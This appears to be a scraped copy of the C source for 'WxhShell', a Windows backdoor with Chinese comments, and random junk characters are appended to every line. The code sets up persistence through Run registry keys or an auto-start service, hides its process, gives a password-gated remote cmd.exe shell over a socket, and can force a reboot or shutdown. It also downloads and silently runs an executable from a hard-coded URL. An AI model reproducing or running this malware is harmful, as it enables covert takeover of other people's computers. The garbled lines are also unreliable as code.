    if(Boot(SHUTDOWN)) n ei0LAD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&w~eWpk  
    else { G~&8/ s  
    closesocket(wsh); 58HAl_8W  
    ExitThread(0); [ t8]'RI%  
    } J{a9pr6  
    break; =c,7uB  
    } JBc*m  
  // 获取shell *wJz0ex7R/  
  case 's': { _(:$ :*@  
    CmdShell(wsh); vc3r [mT  
    closesocket(wsh); "R)n1,0  
    ExitThread(0); 9L-jlAo<  
    break; \X(*JNQ  
  } SzeY?04zj:  
  // 退出 MK Sw  
  case 'x': { V,& OO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e#}Fm;|d  
    CloseIt(wsh); -\%5aXr  
    break; (4q/LuP^d  
    } j$6Q]5KdoS  
  // 离开 nLk`W"irM  
  case 'q': { 6/g 82kqpk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e&!c8\F  
    closesocket(wsh); 8#,_%<?UVy  
    WSACleanup(); Au)~"N~p?  
    exit(1); ^A\(M%*F  
    break; M(\{U"%@?  
        } |XQ_4{  
  } s}UJv\*  
  } QAo/d4  
u~ FVI  
  // 提示信息 Oop6o $k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wmR~e  
} %{V7 |Azt  
  } Fo ;J3<U)  
 yoe@]c=  
  return; =5^1Bl  
} 2-UD^;0  
wXnVQ-6H  
// shell模块句柄 =tA;JB  
int CmdShell(SOCKET sock) H ~fF; I  
{ qG~6YCqii  
STARTUPINFO si; `?l /HUw  
ZeroMemory(&si,sizeof(si)); 8n2;47 a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <f.Eog  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .dxELSV  
PROCESS_INFORMATION ProcessInfo; {gu3KV  
char cmdline[]="cmd"; |}YxxeAk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;{R;lF,  
  return 0; jHHCJOHB8  
} O+< +yQl  
"8?Fl&=Q  
// 自身启动模式 qvWi;  
int StartFromService(void) eYkg4O'  
{ Pq{p\Qkj  
typedef struct _e8v12s  
{ Hc|cA(9sh9  
  DWORD ExitStatus; )OQ<H.X  
  DWORD PebBaseAddress; PMbq5  
  DWORD AffinityMask; %Q}(.h%M  
  DWORD BasePriority; ld|GY>rH  
  ULONG UniqueProcessId; 6,~ 1^g*  
  ULONG InheritedFromUniqueProcessId; X$Q.A^9  
}   PROCESS_BASIC_INFORMATION; Vep 41\g^  
a\,V>}e  
PROCNTQSIP NtQueryInformationProcess; 3PLA*n+%  
,|z zq@fk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tz9 (</y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pJl/d;Cyrb  
K(lVAKiP]  
  HANDLE             hProcess; ;;CNr_  
  PROCESS_BASIC_INFORMATION pbi; (OwGp3g  
w<]-~`K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'T qF}a7  
  if(NULL == hInst ) return 0; wm ?%&V/#  
Xj30bt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y+$]N:\F\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -jrAk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5efN5Kt  
BOA7@Zaa$p  
  if (!NtQueryInformationProcess) return 0; 7042?\\=  
t"J{qfNs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  H4YA  
  if(!hProcess) return 0; &~B8~U4%  
>X:!Y[N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1BEc"  
c3#eL  
  CloseHandle(hProcess); QKVOc,Fp7i  
[wQJVYv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z1$U[Tsd  
if(hProcess==NULL) return 0; 8D?$@!-  
~FXq%-J  
HMODULE hMod; 7\nXJ381  
char procName[255]; Hdd3n 6*  
unsigned long cbNeeded; '?_~{\9<  
gzW{h0iRr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8*B+@`  
$txF|Fj]^A  
  CloseHandle(hProcess); uz$p'Q  
^k^?>h  
if(strstr(procName,"services")) return 1; // 以服务启动 ~h=iZ/g_^_  
fF#Fc&B  
  return 0; // 注册表启动 SGy2&{\Z  
} l1L8a I,8  
C v*K.T  
// 主模块 ^Ojg}'.Ygv  
int StartWxhshell(LPSTR lpCmdLine) `pDTjJ  
{ +`V<& Y-5l  
  SOCKET wsl; X$P(8'[9A  
BOOL val=TRUE; [[N${C  
  int port=0; %" l;  
  struct sockaddr_in door; o#z$LT1dY  
8)"lCIf  
  if(wscfg.ws_autoins) Install(); W|0))5a  
2cGiE{  
port=atoi(lpCmdLine); bNm]h.  
>O~V#1 H  
if(port<=0) port=wscfg.ws_port; Y2dml!QM  
 <|82)hO  
  WSADATA data; ,jw`9a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *O[/- p&7  
@8A[HP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }'>mT,ytgk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *W,[k&;:  
  door.sin_family = AF_INET; Hmx.BBz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I=P<RG7j)  
  door.sin_port = htons(port); &u6n5-!v  
=i;T?*@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OpIeo+^X*  
closesocket(wsl); w2('75$J  
return 1; UH\{:@GjNO  
} VUHf-bKl  
7#9%,6Yi  
  if(listen(wsl,2) == INVALID_SOCKET) { $T7 qd  
closesocket(wsl); Nvh& =%{g  
return 1; >w.%KVBJ  
} Z6Kp-z(l3  
  Wxhshell(wsl); >*!^pbZfX  
  WSACleanup(); F :Ps>  
!su773vo  
return 0; V3a6QcG  
El :% \hGy  
} +$2`"%nBG  
m9&%A0  
// 以NT服务方式启动 OTJMS_IT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ovXk~%_  
{ o>Dd1 j  
DWORD   status = 0; KQw>6)  
  DWORD   specificError = 0xfffffff; UVgSO|Tg  
R>;&4Sjr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e:.?T\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pm:-E(3#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aX |(%1r  
  serviceStatus.dwWin32ExitCode     = 0; Bm%|WQK  
  serviceStatus.dwServiceSpecificExitCode = 0; ZB/1I;l`c  
  serviceStatus.dwCheckPoint       = 0; %Lh+W<;  
  serviceStatus.dwWaitHint       = 0; UK,sMKbl1  
XAtRA1.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =9 ^}>u  
  if (hServiceStatusHandle==0) return; w8J8III\~  
Zt=P 0  
status = GetLastError(); y+{)4ptg$<  
  if (status!=NO_ERROR) )ZrB-(u~k  
{ p T z]8[^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +qT+iHa|n  
    serviceStatus.dwCheckPoint       = 0; 8$ #z>  
    serviceStatus.dwWaitHint       = 0; m!P<# |V  
    serviceStatus.dwWin32ExitCode     = status; @'?gan#(  
    serviceStatus.dwServiceSpecificExitCode = specificError; a69e^;,>q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); se=^K#o  
    return; :h3n[%  
  } dZb;`DjTH  
5dD8s-;^T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j?k|-0  
  serviceStatus.dwCheckPoint       = 0; 87eH~&<1  
  serviceStatus.dwWaitHint       = 0; h/8p2Mrqi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VhAJ1[k4!  
} pQC|_T#u  
K~S*<?  
// 处理NT服务事件,比如:启动、停止 nXI8`7D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c813NHW  
{ <X1 lq9 lW  
switch(fdwControl) _p'@.P  
{ $\~cWpv  
case SERVICE_CONTROL_STOP: w1VYU>  
  serviceStatus.dwWin32ExitCode = 0; "5sA&^_#_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T.-tV[2  
  serviceStatus.dwCheckPoint   = 0; KU+\fwYpnk  
  serviceStatus.dwWaitHint     = 0; 9$C?)XKXB  
  { X')l04P@%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Djki]  
  } DQ[7p(  
  return; >lzXyT6x8  
case SERVICE_CONTROL_PAUSE: V7p hD3Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zpeCT3Q5O  
  break; d~h;|Bl[  
case SERVICE_CONTROL_CONTINUE: pLV %g#h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |3Oyg?2  
  break; ;'08-Et  
case SERVICE_CONTROL_INTERROGATE: khD)x0'b  
  break; g#7Q-n3^  
}; }&2,!;"">3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v9S=$Aj  
} #Er"i  
(uhE'IQ{(  
// 标准应用程序主函数 X7`-dSVE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vH1,As  
{ ^Qn:#O9  
Y%- !%|  
// 获取操作系统版本 )& Oxp&x  
OsIsNt=GetOsVer(); Fa v++z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M5t.l (  
*p#@W-:9E  
  // 从命令行安装 [^6z>  
  if(strpbrk(lpCmdLine,"iI")) Install(); Iw h0PfWJ  
:M f8q!Q'  
  // 下载执行文件 -o{ x ;:4  
if(wscfg.ws_downexe) { ) jvI Nb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) re}PpXRC  
  WinExec(wscfg.ws_filenam,SW_HIDE); r)K5<[\r  
} [?O4l`  
V3r)u\ o'  
if(!OsIsNt) { MuP>#Vk  
// 如果时win9x,隐藏进程并且设置为注册表启动 3]9Rmx  
HideProc(); ,9_O4O%  
StartWxhshell(lpCmdLine); wAX;)PLg  
} ">eled)O  
else !IO\g"y~|%  
  if(StartFromService()) b09xf"D  
  // 以服务方式启动 [{)Z^  
  StartServiceCtrlDispatcher(DispatchTable); /`DKX }  
else 37Q8Yf_  
  // 普通方式启动 llWY7u"  
  StartWxhshell(lpCmdLine); 1EC;t1.7  
HuU$x;~  
return 0; 3(,m(+J[S  
} y,ub*-:  
k`|E&+og  
'<uM\v^k  
o|c6=77043  
=========================================== vf+z0df  
Hs:zfvD  
[[6" qq  
A|:+c*7]  
RjPkH$u'Pj  
7wPI)]$  
" nLG)>L  
``$$yS~d};  
#include <stdio.h> j2u'5kJ G  
#include <string.h> 5y\35kT'  
#include <windows.h> 7Hgn/b[?b  
#include <winsock2.h> rwP)TJh"  
#include <winsvc.h> % -AcA  
#include <urlmon.h> wQjYH!u,YZ  
?~t5>PEonv  
#pragma comment (lib, "Ws2_32.lib") !k*B-@F  
#pragma comment (lib, "urlmon.lib") _5~|z$GW  
K@g ~  
#define MAX_USER   100 // 最大客户端连接数 ?*+U[*M  
#define BUF_SOCK   200 // sock buffer \/;c^!(<  
#define KEY_BUFF   255 // 输入 buffer J@E]Fl  
>3KlI  
#define REBOOT     0   // 重启 fHEIys,{  
#define SHUTDOWN   1   // 关机 z 5(5\j]  
"c]9Q%  
#define DEF_PORT   5000 // 监听端口 {k-_+#W"  
<#nU 06 fN  
#define REG_LEN     16   // 注册表键长度 .KC V|x;QW  
#define SVC_LEN     80   // NT服务名长度 ^L)3O|6c  
9lR6:}L7  
// 从dll定义API V;"2=)X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KW[y+c u.#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q0Q[]|L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "RK"Pn+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mog [,{w  
C,W_0= !e  
// wxhshell配置信息 A:GqR;;"x>  
struct WSCFG { HJ]e%og  
  int ws_port;         // 监听端口 1Td`S1'#yg  
  char ws_passstr[REG_LEN]; // 口令 .S#i/A'x  
  int ws_autoins;       // 安装标记, 1=yes 0=no |9]-_a  
  char ws_regname[REG_LEN]; // 注册表键名 qK#"uU8B  
  char ws_svcname[REG_LEN]; // 服务名 zF[Xem  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q[K$f%>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oST)E5X;7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eLORG(;h4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7=}tJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r0lI&25w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tgtym"=xd  
DzE^FY  
}; Y<VX.S2kf  
eaDZ^Z Er  
// default Wxhshell configuration 0|tyKP|J  
struct WSCFG wscfg={DEF_PORT, 5CN=a2&  
    "xuhuanlingzhe", JmK )Y# A  
    1, %M'`K  
    "Wxhshell", wzwv>@}  
    "Wxhshell", a6./;OC  
            "WxhShell Service", Ib{l$#  
    "Wrsky Windows CmdShell Service", tugIOA  
    "Please Input Your Password: ", -bOtF%  
  1, CkNR{?S  
  "http://www.wrsky.com/wxhshell.exe", yx-"&K=`  
  "Wxhshell.exe" :LNZC,-f}5  
    }; U2<q dknB  
H+Bon=$cE!  
// 消息定义模块  =5B5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [#Gu?L_W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @#t<!-8d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ro<w8V9.a  
char *msg_ws_ext="\n\rExit."; p.g>+7  
char *msg_ws_end="\n\rQuit."; IO"P /Q  
char *msg_ws_boot="\n\rReboot..."; ciml:"nQ  
char *msg_ws_poff="\n\rShutdown..."; wdBB x\FP  
char *msg_ws_down="\n\rSave to "; 2ns,q0I A  
BV>9U5  
char *msg_ws_err="\n\rErr!"; /]Y#*r8jRi  
char *msg_ws_ok="\n\rOK!"; v@[3R7|4  
\9V_[xD+  
char ExeFile[MAX_PATH]; m]MR\E5]By  
int nUser = 0; 5Wa)_@qI)`  
HANDLE handles[MAX_USER];  XA;PWl5!  
int OsIsNt; R--s u:  
'*rS, y  
SERVICE_STATUS       serviceStatus; K g#Bg##  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Aqf91 [c  
8WP"~Js!  
// 函数声明 ^K1mh9O  
int Install(void); xPUukmG:B  
int Uninstall(void); NJr)f  
int DownloadFile(char *sURL, SOCKET wsh); gsM$VaF(  
int Boot(int flag); 4To$!=  
void HideProc(void); e\[q3J  
int GetOsVer(void); b' M"To@  
int Wxhshell(SOCKET wsl); lrKT?siB  
void TalkWithClient(void *cs); ;0oL*d[1Z  
int CmdShell(SOCKET sock); |&WYu,QQ4  
int StartFromService(void); O]hUOc `k  
int StartWxhshell(LPSTR lpCmdLine); qtZzJ>Y  
M$ieM[_T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P}gtJ;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vjm? X  
,JK0N_=  
// 数据结构和表定义 R+uZi~  
SERVICE_TABLE_ENTRY DispatchTable[] = T|S-?X,  
{ ;ZI8vF b  
{wscfg.ws_svcname, NTServiceMain}, i7h^L)M  
{NULL, NULL} ?87\_wL/j  
}; }[PwA[k'  
gE@Pb  
// 自我安装 ETL7|C"  
int Install(void) (9aOET>GG  
{ 3Q62H+MC  
  char svExeFile[MAX_PATH]; s-WZ3g  
  HKEY key; jJ<&!=  
  strcpy(svExeFile,ExeFile); '\8YH+%It  
[Ca''JqrA  
// 如果是win9x系统,修改注册表设为自启动 l6WEx -d  
if(!OsIsNt) { DIQ30(MS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DU"Gz!X]Jd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2RNee@!JJP  
  RegCloseKey(key); p2b~k[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <#M1I!R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y&=DjKoVh  
  RegCloseKey(key); a9NuYYr,h  
  return 0; ^znUf4N1  
    } jmq^98jB  
  } &glh >9:G  
} $X)|`$#pL#  
else { ^vG<Ma.yk  
g_l-@  
// 如果是NT以上系统,安装为系统服务 _7:Bxx4B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h~ _i::vg  
if (schSCManager!=0) !+@70|gFF  
{ )3e_H s+  
  SC_HANDLE schService = CreateService 8 NNh8k#6  
  ( D}!YF~  
  schSCManager, 5,f`5'$  
  wscfg.ws_svcname, !0zcS7&P  
  wscfg.ws_svcdisp, wo(O+L/w  
  SERVICE_ALL_ACCESS, + XBF,<P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A ?V-Sz#  
  SERVICE_AUTO_START, v ))`U,Gm  
  SERVICE_ERROR_NORMAL, {RI^zNgs[  
  svExeFile, )_! a:  
  NULL, ]-#/wC[$l=  
  NULL, 5D7 L)>  
  NULL, x@oxIXN  
  NULL, 4pXY7+e2'  
  NULL RZpjr !R  
  ); R{A$|Ipaq  
  if (schService!=0) JleClB(2n/  
  { _IU5HT}2  
  CloseServiceHandle(schService); 6j {ynt  
  CloseServiceHandle(schSCManager); *zweZG8:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K-Pcew^?  
  strcat(svExeFile,wscfg.ws_svcname); 1qn/*9W}=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X.#9[3U+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _/P;`@  
  RegCloseKey(key); F)eP55C6  
  return 0; V[WZ#u-p  
    } Vtj*O'0  
  } CHqi5Z/+  
  CloseServiceHandle(schSCManager); ak:f4dEd  
} b9?Vpu`?  
} 5GJkvZtFY  
E3S0u7 Es  
return 1; 0)K~pV0aT  
} s@%>  
SbL7e#!!  
// 自我卸载 X04LAYY_u  
int Uninstall(void) %K\B )HR  
{ dly -mPmP  
  HKEY key; mz<,nR\  
XHgW9;M!  
if(!OsIsNt) { y[jp)&N`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0VJHE~Bgi  
  RegDeleteValue(key,wscfg.ws_regname); >{Mv+  
  RegCloseKey(key); o\it]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #H Jlm1d  
  RegDeleteValue(key,wscfg.ws_regname); Z&H_+u3j  
  RegCloseKey(key); 0;`FS /[(f  
  return 0; %UooZO  
  } # 7d vT=  
} ;IPk+,hpmi  
} IR2Qc6+{  
else { @0H0!9'  
@m`H~]AU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6f#Mi+"  
if (schSCManager!=0) Moi RAO  
{ +Gy9K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &y73^"%  
  if (schService!=0) ia /#`#.  
  { QjpJIw  
  if(DeleteService(schService)!=0) { "BpDlTYM  
  CloseServiceHandle(schService); Imzh`SI,  
  CloseServiceHandle(schSCManager); a ge8I$*`@  
  return 0; I=[09o  
  } JCZ&TK  
  CloseServiceHandle(schService); 69ycP(  
  } 9w&CHg7D i  
  CloseServiceHandle(schSCManager); dW5r]D[Cx  
} W>{&" 5  
} >N`, 3;Z  
0%\fm W j  
return 1; "[z/\l8O  
} Q-G8Fo%#,E  
~tW<]l7  
// 从指定url下载文件 3_ E}XQd  
int DownloadFile(char *sURL, SOCKET wsh) Ya<KMBi3  
{ q]!FFi{w;  
  HRESULT hr; &DtI+ )[|  
char seps[]= "/"; Z!'k N\z  
char *token; g?j^d:  
char *file; "<&o ;x<  
char myURL[MAX_PATH]; #sv}%oV,F  
char myFILE[MAX_PATH]; l_2l/ff9  
L4u.cH J}0  
strcpy(myURL,sURL); 8"ZcKxDk  
  token=strtok(myURL,seps); p!Tac%D+k  
  while(token!=NULL) jt3W.^6HO  
  { XWz~*@ci  
    file=token; :=q9ay   
  token=strtok(NULL,seps); @\-*aS_8>  
  } l96 AJB'  
qM^y@B2MO  
GetCurrentDirectory(MAX_PATH,myFILE); Fo ,8"m  
strcat(myFILE, "\\");  _ qQ  
strcat(myFILE, file); m^/>C -&C  
  send(wsh,myFILE,strlen(myFILE),0); *z~J ]  
send(wsh,"...",3,0); \0qFOjVj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); & }"I!  
  if(hr==S_OK) [5b[ztN%  
return 0; 3XbFg%8YG  
else Fgh an.F  
return 1; EjEXev<]  
iz tF  
} |VM=:}s&  
`q\v~FT  
// 系统电源模块 lY |]  
int Boot(int flag) j6 _w2  
{ ]8cD,NS  
  HANDLE hToken; F?y C=  
  TOKEN_PRIVILEGES tkp; r|3u]rt  
ZiH4s|  
  if(OsIsNt) { bhZ5-wo4%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |NjyO>@Pa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wlP% U  
    tkp.PrivilegeCount = 1; e6T?2`5P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lL'K1%{+ \  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H3JDA^5  
if(flag==REBOOT) { Ut2x4$9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QYBLU7  
  return 0; bX%4[BKP  
} 2|M,#2E-  
else { &Fmen;(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OXoEA a  
  return 0; EScy!p\*  
} f,-'eW/j  
  } O=1 #KNS  
  else { D9r;Ys%  
if(flag==REBOOT) { 4tapQgj24  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q| *nd!y'  
  return 0; ]zvOM^l~  
} T?-K}PUcQ  
else { 7tY~8gQel  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) itO1ROmu  
  return 0; sQT,@+JEr  
} %Si3LQf  
} 7 :u+-U  
yN}<l%  
return 1; Z>'hNj)ju  
} I =K<%.  
MY&?*pV)  
// win9x进程隐藏模块 V5I xZn%  
void HideProc(void) iW? NxP  
{ JQ\o[t  
3ZYrNul"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rV I-Yb  
  if ( hKernel != NULL ) m{6 *ae  
  { :\1vy5 _  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W5 RZsS]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -dUXd<=ue  
    FreeLibrary(hKernel); }-WuHh#  
  } &G+:t)|S  
\FyHIs  
return; 3\P/4GK)  
} YdAC<,e&A  
".fnx8v,  
// 获取操作系统版本 C2 !F   
int GetOsVer(void) `[f IK,  
{ bgmOX&`G  
  OSVERSIONINFO winfo; |Gb~[6u   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w:9n/[  
  GetVersionEx(&winfo); ^`(3X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) As#/ln$nE  
  return 1; )|S!k\^A  
  else ~eGtoEY  
  return 0; Jz_`dLL^ w  
} qI\B;&hr(  
LoS%  FI  
// 客户端句柄模块 b=Q%Jxz?  
int Wxhshell(SOCKET wsl) YccD ^w[`B  
{ P-\T BS_O  
  SOCKET wsh; }/.b@`Dh;  
  struct sockaddr_in client; Y{m1\s/o  
  DWORD myID; \,b_8^  
[-Mfgw]i  
  while(nUser<MAX_USER) d!q)FRzi  
{ ]<E\J+5K  
  int nSize=sizeof(client); 4*+)D8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T(eNK c2  
  if(wsh==INVALID_SOCKET) return 1; }nNCgH  
r6`KZ TU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,tOc+3Qz$  
if(handles[nUser]==0) ^(yU)k3pu  
  closesocket(wsh); )G9,5[  
else Ob7F39):N  
  nUser++; 7ZpU -':  
  } e p\a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {UEZ:a  
as@I0e((  
  return 0; ?s{Pp  
} l'(7p`?  
-B#>Jn#F  
// 关闭 socket & Pzr)W(  
void CloseIt(SOCKET wsh) '[Ch8Yf\  
{ E.rfS$<1  
closesocket(wsh); ob>2SU[Y  
nUser--; &1Idv}@!  
ExitThread(0); >PiEu->P,  
} Tk0Senq,  
r}])V[V  
// 客户端请求句柄 1x4{~g\  
void TalkWithClient(void *cs) ~G`(=\_0  
{ `Jon^&^;|  
2UjQ!g`  
  SOCKET wsh=(SOCKET)cs; *.NVc  
  char pwd[SVC_LEN]; I)X33X,  
  char cmd[KEY_BUFF]; 1C\[n(9  
char chr[1]; <al/>7z' O  
int i,j; FFqqAT5  
\*$''`b)j  
  while (nUser < MAX_USER) { #+Cu&l  
IG~d7rh"  
if(wscfg.ws_passstr) { XQL]I$?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q68q76  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !XS ;&s7[*  
  //ZeroMemory(pwd,KEY_BUFF); N;]"_"  
      i=0; `+Ojh>"*z*  
  while(i<SVC_LEN) { AE 2>smp5@  
a-7T   
  // 设置超时 *J] }bX  
  fd_set FdRead; '\.fG\xD  
  struct timeval TimeOut; ( RCQbI  
  FD_ZERO(&FdRead); Qf}b3WEAI  
  FD_SET(wsh,&FdRead); ^iaG>rvA  
  TimeOut.tv_sec=8; VKp4FiI6  
  TimeOut.tv_usec=0; 0')O4IHH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b7h0V4w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ @cg+Xrg1  
.#y.:Pb|e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p+ bT{:  
  pwd=chr[0]; =h9&`iwiu  
  if(chr[0]==0xd || chr[0]==0xa) { ns,qj} #  
  pwd=0; c)OQ_3xOs  
  break; Y-Gqx  
  } juQQ  
  i++; }_L,Xg:I  
    } E)w^odwMU  
INj2B@_  
  // 如果是非法用户,关闭 socket *XZlnO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4r'f/s8"#  
} ]%VR Nm  
t LZ4<wc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7Z+4F=2ff  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m.A_u7D@  
+WYXj  
while(1) { K7H` Yt  
Cj x(Z]  
  ZeroMemory(cmd,KEY_BUFF); L^zF@n^5A  
w(KB=lA2  
      // 自动支持客户端 telnet标准   WS?"OTH.^\  
  j=0; jNa'l<dn]  
  while(j<KEY_BUFF) { @] ` _+\y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9,`eYAu  
  cmd[j]=chr[0]; 'X$2gD3c9  
  if(chr[0]==0xa || chr[0]==0xd) { \]eB(&nq  
  cmd[j]=0; OZ6g u$ n*  
  break; -mlBr63Bj  
  } .Bu?=+O~  
  j++; S~mpXH@  
    } )ieT/0nt  
b xT|  
  // 下载文件 IP E2t  
  if(strstr(cmd,"http://")) { #PpmR _IX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S0 AaJty  
  if(DownloadFile(cmd,wsh)) uIkB&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :NJ(QkTZv  
  else `}YCUm[SI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { ke}W  
  } IOx9".  
  else { W9ZfD~(3-  
oyS43/."  
